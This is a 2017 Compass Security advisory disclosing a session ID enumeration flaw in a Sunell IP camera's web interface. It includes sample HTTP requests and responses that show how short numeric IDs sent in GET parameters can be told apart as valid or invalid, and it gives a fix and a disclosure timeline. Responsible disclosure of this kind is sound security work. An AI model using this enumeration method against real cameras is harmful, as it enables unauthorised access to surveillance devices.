Sunell IPCAMERA IPR54/14AKDN(II)/13 suffers from a session ID enumeration vulnerability.
3d7b4df8fb17c45059d3a30f31f6cfd2
#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product: Sunell IPCAMERA IPR54/14AKDN(II)/13 [1]
# Vendor: Shenzhen Sunell Technology Corporation
# CSNC ID: CSNC-2017-012
# Subject: Session ID Enumeration
# Risk: High
# Effect: Remotely exploitable
# Author: Stephan Sekula <[email protected]>
# Date: 18.04.2017
#
#############################################################
Introduction:
-------------
Sunell's IPR54/14AKDN(II)/13 is an all-in-one Bullet camera designed for indoor
and outdoor applications. Equipped with a 2MP sensor enabling viewing
resolution of 1920*1080 at a smooth 30fps.The camera is capable of capturing
high quality video at high resolution of up to 2MP even in low light environments. [1]
Compass Security discovered a web application security flaw in the camera's
web interface, which allows an attacker to enumerate valid session IDs.
This allows an attacker to effectively guess a valid session and thus, get access
to the web interface.
Affected:
---------
Vulnerable:
* v2.0.0801.1002.1.1.136.0.0
Technical Description
---------------------
The camera's web interface expects the user's session ID to be sent via an
HTTP GET parameter (which can be cached). Furthermore, this ID is short.
This fact, in combination with the server's different responses, depending
on the ID's validity, allow an attacker to guess valid session IDs.
Request (valid session ID):
GET /asppage/common/IPC_DeviceInfo.asp?ID=56486 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream
Connection: close
Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
<textarea id="XMLData" name="XMLData" style="display:none"><MPLDCProtocol ProtocolType="1">
<MPLDCPDeviceConfig ReturnValue="0" ErrorDescription="TK_RefreshConfigInfoSuccess" OperateType="4">
<DeviceInfoEx User="" Password="" DeviceID="0BCF7B" IP="192.168.0.120" Port="30001" />
<DeviceConfigID ID="DeviceConfig_DeviceInfo" />
<ConfigItem ID="ID_UUIDFlag" Value="true" />
<ConfigItem ID="ID_UUID" Value="111fc9f24708E" />
[CUT]
<ConfigItem ID="ID_DeviceModel" Value="IPR54/04AQDN/23" />
</MPLDCPDeviceConfig>
</MPLDCProtocol>
</textarea>
[CUT]
</body>
</html>
Request (invalid session ID):
GET /asppage/common/IPC_DeviceInfo.asp?ID=56400 HTTP/1.1
Host: 192.168.0.120
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.120/asppage/common/deviceConfig.asp?ID=56486&lg=1&random=0.18069202216265423
Cookie: coobjMenuTree=Stream; csobjMenuTree=BaseStream
Connection: close
Response:
HTTP/1.0 200 OK
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Cache-Control: max-age=180
Content-type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
[CUT]
<textarea id="XMLData" name="XMLData" style="display:none"></textarea>
[CUT]
</head>
<body onload="initWeb();" onresize="window.top.adjustBindDivXY();">
[CUT]
<span class="leftSpan" id="TK_DeviceID"></span>
<span class="rightSpan"><label id="ID_DeviceID" name="ID_DeviceID"></label></span>
[CUT]
<span class="leftSpan" id="TK_DeviceName"></span>
<span class="rightSpan">
<a href="javascript:submitData();"><image src="../../image/apply.png" style="height:20px;cursor:pointer;"/></a>
</span>
<span class="rightSpan"><input type="text" id="ID_DeviceName" name="ID_DeviceName" maxlength="32"/></span>
</div>
[CUT]
</body>
</html>
Workaround / Fix:
-----------------
This issue can be fixed by issuing longer, random session IDs, which
cannot be guessed.
Timeline:
---------
2017-05-18: Public disclosure date
2017-04-18: Vendor notification (No response)
2017-03-22: Initial vendor notification (No response)
2017-03-22: Discovery by Stephan Sekula
References:
-----------
[1] http://www.sunellsecurity.com